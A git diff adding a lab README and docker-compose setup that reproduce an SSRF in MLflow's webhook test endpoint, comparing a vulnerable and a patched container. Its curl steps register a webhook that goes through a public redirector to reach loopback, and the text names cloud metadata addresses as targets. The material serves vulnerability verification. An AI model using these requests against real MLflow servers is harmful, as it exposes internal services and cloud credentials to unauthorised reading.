diff --git a/mlflow/CVE-2026-64849/README.md b/mlflow/CVE-2026-64849/README.md new file mode 100644 index 00000000..62acec7b --- /dev/null +++ b/mlflow/CVE-2026-64849/README.md @@ -0,0 +1,135 @@ +# CVE-2026-64849: MLflow Tracking Server Webhook SSRF via Unvalidated HTTP Redirects + +MLflow tracking server versions prior to `3.16.0` contain an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the webhook delivery subsystem. While MLflow performs pre-flight validation on webhook URLs during registration to block non-HTTPS schemes and private IP ranges, the HTTP client (`requests.Session`) used during webhook test execution (`POST /api/2.0/mlflow/webhooks//test`) follows HTTP redirects (such as `302 Found`) without validating the redirection target URL. + +An unauthenticated remote attacker can register a webhook pointing to a public redirector service (such as `httpbin.org/redirect-to`) that redirects to internal endpoints (such as `127.0.0.1:5000` or cloud metadata services like `169.254.169.254`). Because the `/test` endpoint returns the reflected HTTP response body in the JSON output (`result.response_body`), this allows an unauthenticated attacker to read internal service responses directly. + +Note that the original vulnerability was fixed in 3.15.0, but bypasses related to iPv6 handling were discovered and fixed in 3.16.0. + +## Target Environment & Preconditions + +* **Affected Versions:** MLflow `< 3.16.0` (fixed in MLflow `3.16.0` via PR #24258 / PR #25568). +* **Preconditions:** Webhook backend store must be enabled (requires SQL database backend store, e.g. `--backend-store-uri sqlite:///mlflow.db`). Default tracking server authentication is disabled. + +--- + +## Vulnerable Version + +### Setup + +Start the vulnerable MLflow container (v3.13.0) on port 5001: + +```sh +docker compose up -d mlflow-vuln +``` + +### Testing the Vulnerability + +#### Step 1: Register Webhook with Public Redirector + +Create a webhook pointing to a public redirector URL that redirects to internal loopback (`127.0.0.1:5000`): + +```sh +curl -i -s -X POST http://localhost:5001/api/2.0/mlflow/webhooks \ + -H "Content-Type: application/json" \ + -d '{ + "name": "cve-test-wh", + "url": "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Fapi%2F2.0%2Fmlflow%2Fexperiments%2Flist", + "events": [{"entity": "REGISTERED_MODEL", "action": "CREATED"}] + }' +``` + +Response: + +```json +{ + "webhook": { + "webhook_id": "b9bbf008-0cdc-42d5-b538-81ea9c83f707", + "name": "cve-test-wh", + "url": "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Fapi%2F2.0%2Fmlflow%2Fexperiments%2Flist", + "events": [{"entity": "REGISTERED_MODEL", "action": "CREATED"}], + "status": "ACTIVE" + } +} +``` + +#### Step 2: Trigger Webhook Test Execution + +Invoke the unauthenticated test endpoint using the extracted `webhook_id`: + +```sh +curl -i -s -X POST http://localhost:5001/api/2.0/mlflow/webhooks//test \ + -H "Content-Type: application/json" \ + -d '{ + "webhook_id": "", + "event": {"entity": "REGISTERED_MODEL", "action": "CREATED"} + }' +``` + +Response (MLflow follows the redirect to loopback and reflects the response in `response_body`): + +```json +{ + "result": { + "success": false, + "response_status": 404, + "response_body": "\n\n404 Not Found\n

Not Found

\n

The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.

\n" + } +} +``` + +--- + +## Safe Version + +### Setup + +Start the patched MLflow container (v3.16.0) on port 5002 to confirm remediation: + +```sh +docker compose up -d mlflow-patched +``` + +### Testing the Vulnerability + +#### Step 1: Register Webhook with Public Redirector + +```sh +curl -i -s -X POST http://localhost:5002/api/2.0/mlflow/webhooks \ + -H "Content-Type: application/json" \ + -d '{ + "name": "cve-test-wh-patched", + "url": "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Fapi%2F2.0%2Fmlflow%2Fexperiments%2Flist", + "events": [{"entity": "REGISTERED_MODEL", "action": "CREATED"}] + }' +``` + +#### Step 2: Trigger Webhook Test Execution + +```sh +curl -i -s -X POST http://localhost:5002/api/2.0/mlflow/webhooks//test \ + -H "Content-Type: application/json" \ + -d '{ + "webhook_id": "", + "event": {"entity": "REGISTERED_MODEL", "action": "CREATED"} + }' +``` + +Response (`SSRFProtectedHTTPAdapter` intercepts the socket connection to loopback and blocks it): + +```json +{ + "result": { + "success": false, + "error_message": "Failed to test webhook: SSRFProtectionError('Webhook connection blocked: 127.0.0.1 is not a public IP address. This may indicate a DNS rebinding attempt.')" + } +} +``` + +--- + +## Cleanup + +```sh +docker compose down +``` diff --git a/mlflow/CVE-2026-64849/docker-compose.yml b/mlflow/CVE-2026-64849/docker-compose.yml new file mode 100644 index 00000000..0cf24e5e --- /dev/null +++ b/mlflow/CVE-2026-64849/docker-compose.yml @@ -0,0 +1,18 @@ +version: '3.8' + +services: + mlflow-vuln: + image: ghcr.io/mlflow/mlflow:v3.13.0 + container_name: cve-2026-64849-vuln + ports: + - "5001:5000" + command: ["mlflow", "server", "--host", "0.0.0.0", "--port", "5000", "--backend-store-uri", "sqlite:///mlflow.db"] + restart: unless-stopped + + mlflow-patched: + image: ghcr.io/mlflow/mlflow:v3.16.0 + container_name: cve-2026-64849-patched + ports: + - "5002:5000" + command: ["mlflow", "server", "--host", "0.0.0.0", "--port", "5000", "--backend-store-uri", "sqlite:///mlflow.db"] + restart: unless-stopped